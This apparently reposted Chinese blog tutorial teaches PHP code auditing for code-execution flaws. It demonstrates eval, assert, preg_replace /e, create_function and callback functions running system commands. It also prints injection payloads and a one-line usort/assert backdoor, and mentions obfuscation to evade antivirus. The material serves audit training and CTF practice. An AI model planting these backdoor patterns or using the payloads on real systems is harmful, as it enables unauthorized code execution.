PHP代码审计基础(一)

1.前言

本文章主要是PHP代码审计的一些基础知识,包括函数的用法,漏洞点,偏向基础部分

1.1代码执行

代码执行是代码审计当中较为严重的漏洞,主要是一些命令执行函数的不适当使用。那么,常见的能够触发这类漏洞的函数有哪些呢?

eval()函数

eval()函数就是将传入的字符串当作 PHP 代码来进行执行。

eval( string $code) : mixed

返回值

eval() 返回 NULL,除非在执行的代码中 return了一个值,函数返回传递给 return的值。PHP7开始,执行的代码里如果有一个parse error,eval() 会抛出 ParseError 异常。在 PHP 7 之前,如果在执行的代码中有 parse error,eval() 返回FALSE,之后的代码将正常执行。无法使用set_error_handler()捕获 eval() 中的解析错误。

也就是说,我们在利用eval()函数的时候,如果我们传入的字符串不是正常的代码格式,那么就会抛出异常。所以PHP7和PHP5在这部分最大的不同是什么呢?简而言之,PHP5在代码错误格式错误之后仍会执行,而PHP7在代码发生错误之后,那么eval()函数就会抛出异常,而不执行之后的代码。

示例:

<?php
    $code = "echo 'This is a PHP7';";
    eval($code);
?>

执行结果——>This is a PHP7

执行系统命令就需要用到PHP中的system函数。

<?php
    $code = "system('whoami');";
    eval($code);
?>

执行结果——>desktop-jhtfasu\666

我们就可以结合其他姿势通过这个函数实现任意代码执行了。

assert()

PHP 5

assert( mixed $assertion[, string $description] ) : bool

PHP 7

assert( mixed $assertion[, Throwable $exception] ) : bool

参数

  • assertion
    断言。在PHP 5 中,是一个用于执行的字符串或者用于测试的布尔值。在PHP 7 中,可以是一个返回任何值的表达式,它将被执行结果用于判断断言是否成功。
  • description
    如果assertion失败了,选项description将会包含在失败信息里。
  • exception
    在PHP 7中,第二个参数可以是一个Throwable对象,而不是一个字符串,如果断言失败且启用了assert.exception,那么该对象将被抛出

assert()配置

配置项 默认值 可选值
zend.assertions 1 1 - 生成和执行代码(开发模式) 0 - 生成代码,但在执行时跳过它 -1 - 不生成代码(生产环境)
assert.exception 0 1 - 断言失败时抛出,可以抛出异常对象,如果没有提供异常,则抛出AssertionError对象实例 0 - 使用或生成Throwable,仅仅是基于对象生成的警告而不是抛出对象(与PHP 5 兼容)

assert()函数到底是干什么的呢?其实assert()函数是处理异常的一种形式,相当于一个if条件语句的宏定义一样。

一个PHP 7 中的示例

<?php
    assert_options(ASSERT_EXCEPTION, 1);    // 设置在断言失败时产生异常
    try {
    
    
        assert(1 == 2, new AssertionError('因为1不等于2,所以前面断言失败,抛出异常'));  // 用 AssertionError 异常替代普通字符串
    } catch (Throwable $error) {
    
    
        echo $error->getMessage();
    }
?>
    
    
执行结果——>因为1不等于2,所以前面断言失败,抛出异常

这里就是实例化一个对象,用这个对象来抛出异常。

一个php 5 中的示例

<?php
	assert(1 == 2,'前面断言失败,抛出异常');
?>
    
执行结果——>Warning: assert(): 前面断言失败,抛出异常 failed in D:\phpstudy_pro\WWW\1.php on line 2
    
<?php
	assert(1 == 2);
?>
    
执行结果——>Warning: assert(): Assertion failed in D:\phpstudy_pro\WWW\1.php on line 2

所以PHP 7 相较于PHP 5 就是多了个用Throwable来发出警告。

那么,如果前面断言成功呢?会发生什么呢?来个最简单,也是我们比较喜欢的示例

<?php
	$code = "system(whoami)"
	assert($code);
?>
    
执行结果——>desktop-jhtfasu\666

这段代码在PHP 5 和PHP 7 中都会返回命令执行结果,虽然PHP 7 中对断言函数的参数稍作了改变,但是为了兼容低版本,所以还是会直接返回结果。

preg_replace()

通过函数名字我们也应该能够了解函数大概作用,此函数执行一个正则表达式的搜索和替换。

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数。

那这个函数跟我们命令执行有什么关系呢?仅仅看上面的官方解释似乎看不出什么,但是preg_repace()有一个模式是/e模式,这个模式就会发生代码执行的问题,为什么呢?
看一个案例

<?php
     function Ameng($regex, $value){
    
    
        return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
    }
    foreach ($_GET as $regex => $value){
    
    
        echo Ameng($regex, $value) . "\n";
    }
?

上面这段我们需要注意的就是\1,\1在正则表达式是反向引用的意思,简而言之就是指定一个子匹配项。

针对上面案例,我们来个payload:

payload=/?.*={
    
    ${
    
    phpinfo()}}
所以语句就成了这样
preg_replace('/(.*)/ei', 'strtolower("\\1")', {
    
    ${
    
    phpinfo()}});

那么我们直接把这段代码放到页面

<?php
    preg_replace('/(.*)/ei', 'strtolower("\\1")', '{${phpinfo()}}');
?>

访问页面,结果如下:
在这里插入图片描述
我们看到成功执行了代码。

但是这里我是直接将这段代码写到了文件里,那么如果我们是通过GET传参得到参数,这里针对上面那个案例就需要注意一点,在通过GET传参时,.*会被替换为_*导致我们要的正则被替换了,达不到我们的效果,所以这里可用使用一些其他的正则表达式来达到目的,比如通过GET传参时我们的参数可以传入\S*从而达到同样目的。所以以后再遇到这个函数的时候,要留个心眼了。不过,这里要补充一点,就是preg_replace()函数在PHP 7 后便不再支持,使用preg_replace_callback()进行替换了,取消了不安全的\e模式。

create_function() 函数

create_function()用来创建一个匿名函数

create_function( string $args, string $code) : string

参数

  • string $args 声明的函数变量部分
  • string $code 要执行的代码

返回值
返回唯一的函数名称作为字符串或者返回FALSE错误

create_function()函数在内部执行eval()函数,所以我们就可以利用这一点,来执行代码。当然正因为存在安全问题,所以在PHP 7.2 之后的版本中已经废弃了create_function()函数,使用匿名函数来代替。所以这里为了演示这个函数,我采用的是PHP 5 的环境。那么这个函数到底怎么用呢?

那么来看一个简单的案例

<?php
    $onefunc = create_function('$a','return system($a);');
	$onefunc(whoami);
?>
    
执行结果——>desktop-jhtfasu\666

我们看到使用此函数为我们相当于创造了一个匿名的函数,给它赋以相应的变量,就执行了我们要执行的代码。

那么接下来我们再来看一个简单的案例

<?php
	error_reporting(0);  //关闭错误报告
	$sort_by = $_GET['sort_by'];
	$sorter = 'strnatcasecmp';  //strnatcasecmp() 函数使用一种"自然"算法来比较两个字符串
	$databases=array('1234','4321');
	$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
	usort($databases, create_function('$a, $b', $sort_function)); //usort() 通过用户自定义的比较函数对数组进行排序。
?>

这个主要功能就是实现排序,这段代码就调用了create_function()函数,那么我们能否利用这个函数执行我们想要执行的代码呢?

当然可以,我们只需要在传参时将前面的符号闭合,然后输入我们想要执行的代码即可。

payload='"]);}phpinfo();/*
执行payload前:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
执行payloda后:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

看到这里,你可能会有稍微疑惑,为什么后面多了个;},不知道你是否想到了这一点?

那么我就来分析一下这个,上面的那段执行代码,实际上就是一个匿名函数的创建,既然是一个函数,注意是一个函数,那么你觉得有没有花括号呢?看我如下代码

<?php
    //未闭合之前
    function sort($a,$b){
    
    
    ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
	}
	//闭合之后
	function sort($a,$b){
    
    
        ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);
    }
        phpinfo();/*
    }
?>

可以看到,我们借用了匿名函数的位置,插入了我们要执行的代码,然后等这个匿名函数被create_function当作$code执行的时候,代码就被执行了。

那么creat_function函数还有别的用法吗?我们将上面一个案例简单的修改一下,代码如下:

<?php
    $onefunc = create_function("","die(`cat flag.php`)");
	$_GET['func_name']();
	die();
?>

代码简单的来看,我们只需要执行$onefunc就能得到flag,但是我们不知道这个函数的名称。如果在不知道函数名称的情况下执行函数呢?这里就用到了creat_function函数的一个漏洞。这个函数在creat之后会自动生成一个函数名为%00lambda_%d的匿名函数。%d的值是一直递增的,会一直递增到最大长度直到结束。所以这里可以通过多进程或者多线程访问,从而看到flag。

所以,以后再代码中如果看到调用create_function()要小心一点,但是如果是CTF题目的话,不会这么直接就吧这个函数暴露给你,它可能会用到拼接或者替换来构造这个函数。最后再强调一下,create_function函数在PHP 7.2 版本之后就已经被废弃了。

array_map()

array_map()为数组的每个元素应用回调函数

array_map( callable $callback, array $array1[, array $...] ) : array

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给array_map() 数组数量,两者必须一样。

参数

  • callback:回调函数,应用到每个数组里的每个元素。
  • array1:数组,遍历运行callback函数。
  • …:数组列表,每个都遍历运行callback函数。

返回值
返回数组,包含callback函数处理之后array1的所有元素。

那么这个函数到底如何使用呢?简而言之,这个函数的作用可以这么直白的解释一下。你本来有一个数组,然后我通过array_map函数将你这个数组当作参数传入,然后返回一个新的数组。见下图。
在这里插入图片描述
代码示例:

<?php
    $old_array = array(1, 2, 3, 4, 5);
    function func($arg){
    
    
        return $arg * $arg;
    }
    $new_array = array_map('func',$old_array);
    var_dump($new_array);
?>
    
    
执行结果——>
array(5) {
    
    
  [0]=>
  int(1)
  [1]=>
  int(4)
  [2]=>
  int(9)
  [3]=>
  int(16)
  [4]=>
  int(25)
}

通过上述代码,我们大概知道这个函数就是调用回调函数(用户自定义的函数)来实现对现有数组的操作,从而得到一个新的数组。

那么功能我知道了,可是这个和代码执行有什么关系呢?如何能够利用这个函数执行代码呢?且看下面所示代码。

<?php
    $func = 'system';
    $cmd = 'whoami';
    $old_array[0] = $cmd;
    $new_array = array_map($func,$old_array);
    var_dump($new_array);  
    /*var_dump() 函数用于输出变量的相关信息, 函数显示关于一个或多个表达式的结构信息,
    包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。*/
?>
    
    
执行结果——>
desktop-jhtfasu\666
array(1) {
    
    
  [0]=>
  string(21) "desktop-jhtfasu\666"
}

这段代码就是,通过array_map()这个函数,来调用用户自定义的函数,而用户这里的回调函数其实就是system函数,那么就相当于我们用system函数来对旧数组进行操作,得到新的数组,那么这个新的数组的结果就是我们想要的命令执行的结果了。

call_user_func()

call_user_func()是把第一个参数作为回调函数调用

call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed

参数
第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。

  • callback:即将被调用的回调函数
  • parameter:传入回调函数的参数

这个函数还是非常好理解的,看一段简单的示例代码

<?php
    function callback($a,$b){
    
    
        echo $a . "\n";
        echo $b;
    }
    call_user_func('callback','我是参数1','我是参数2');
?>


执行结果——>
我是参数1
我是参数2

可以看到此函数作用就是调用了自定义的函数。那么这个如何实现代码执行呢?在前面自定义的函数中加入能执行命令的代码就可以代码执行了。

示例代码:

<?php
    function callback($a){
    
    
        return system($a);
    }
    $cmd = 'whoami';
    call_user_func('callback',$cmd);
?>

执行结果——>
desktop-jhtfasu\666

call_user_func_array()

这个函数名称跟上没什么大的差别,唯一的区别就在于参数的传递上,这个函数是把一个数组作为回调函数的参数

call_user_func_array( callable $callback, array $param_arr) : mixed

参数

  • callback:被调用的回调函数
  • param_arr:要被传入回调函数的数组,这个数组需要是索引数组

示例代码

<?php
    function callback($a,$b){
    
    
        echo $a . "\n";
        echo $b;
    }
	$onearray = array('我是参数1','我是参数2');
    call_user_func_array('callback',$onearray);
?>

利用也很简单

<?php
    function callback($a){
    
    
        return system($a);
    }
    $cmd = array('whoami');
    call_user_func_array('callback',$cmd);
?>
    
执行结果——>
desktop-jhtfasu\666

array_filter()

用回调函数过滤数数组中的单元

array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array

依次将array数组中的每个值传到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

参数

  • array:要循环的数组
  • callback:使用的回调函数。如果没有提供callback函数,将删除array中所有等值为FALSE的条目。
  • flag:决定callback接收的参数形式

代码示例(这里看官方的,很详细):

<?php
function odd($var)
{
    
    
    // returns whether the input integer is odd
    return($var & 1);
}

function even($var)
{
    
    
    // returns whether the input integer is even
    return(!($var & 1));
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?> 
    
    
执行结果——>
Odd :
Array
(
    [a] => 1
    [c] => 3
    [e] => 5
)
Even:
Array
(
    [0] => 6
    [2] => 8
    [4] => 10
    [6] => 12
)

从上面代码我们知道,这个函数作用其实就是过滤,只不过这个过滤调用的是函数,而被过滤的是传入的参数。到这里你心里有没有代码执行的雏形了?

代码示例:

<?php
    $cmd='whoami';
    $array1=array($cmd);
    $func ='system';
    array_filter($array1,$func);
?>
    
    
执行结果——>
desktop-jhtfasu\666

usort()

使用用户自定义的比较函数对数组中的值进行排序

usort( array &$array, callable $value_compare_func) : bool

参数

  • array:输入的数组
  • cmp_function:在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的数
    代码示例:
<?php
    function func($a,$b){
    
    
        return ($a<$b)?1:-1;
    }
    $onearray=array(1,3,2,5,9);
    usort($onearray, 'func');
    print_r($onearray);
?>

执行结果——>
Array
(
    [0] => 9
    [1] => 5
    [2] => 3
    [3] => 2
    [4] => 1
)

可见实现了逆序的功能。那么倘若我们把回调函数设计成能够执行代码的函数,是不是就可以执行我们想要的代码了呢?

代码示例:

?php 
    usort(...$_GET);
?>

payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert
POST传参: x=phpinfo();

usort的参数通过GET传参,第一个参数也就是$_GET[0],随便传入一个数字即可。第二个参数也就是$_GET[1]是我们要调用的函数名称,这里采用的是assert函数。

执行结果:
在这里插入图片描述

uasort()

这个跟上一个差不多,区别不是很大。此函数对数组排序并保持索引和单元之间的关联。也就是说你这个排完序之后呢,它原来对应的索引也会相应改变,类似于“绑定”。

uasort( array &$array, callable $value_compare_func) : bool

参数

  • array:输入的数组
  • value_compare_func:用户自定义的函数

这里用的仍然官方例子(比较好理解)

<?php
// Comparison function
function cmp($a, $b) {
    
    
    if ($a == $b) {
    
    
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Sort and print the resulting array
uasort($array, 'cmp');
print
?>
       
执行结果——>
Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

我们发现,在排完序之后索引也跟着值的位置变化而变化了。那么代码执行的示例代码其实也和上一个差不多。

代码示例:

<?php
	$a = $_GET['a'];
	$onearray = array('Ameng', $_POST['x']);
	uasort($onearray, $a);
?>

执行结果:
在这里插入图片描述

小结

看完这里不知道你对代码审计中的代码执行部分是否有另一种想法?我的想法就是这个是和后门联系在一起的。我们可以看到很多函数都具有构造执行命令的条件,而且其中很多函数也的确被用在后门中,特别像后面几个回调函数,在后门中更是常见。当然这些后门函数也早已被安全厂商盯住,所以大部分已经无法直接免杀,所以想要免杀就需要结合其他姿势,比如替换、拼接、加密等等。但是这些知识在CTF中还是比较容易出现的。

猜你喜欢

转载自blog.csdn.net/pggril/article/details/123749954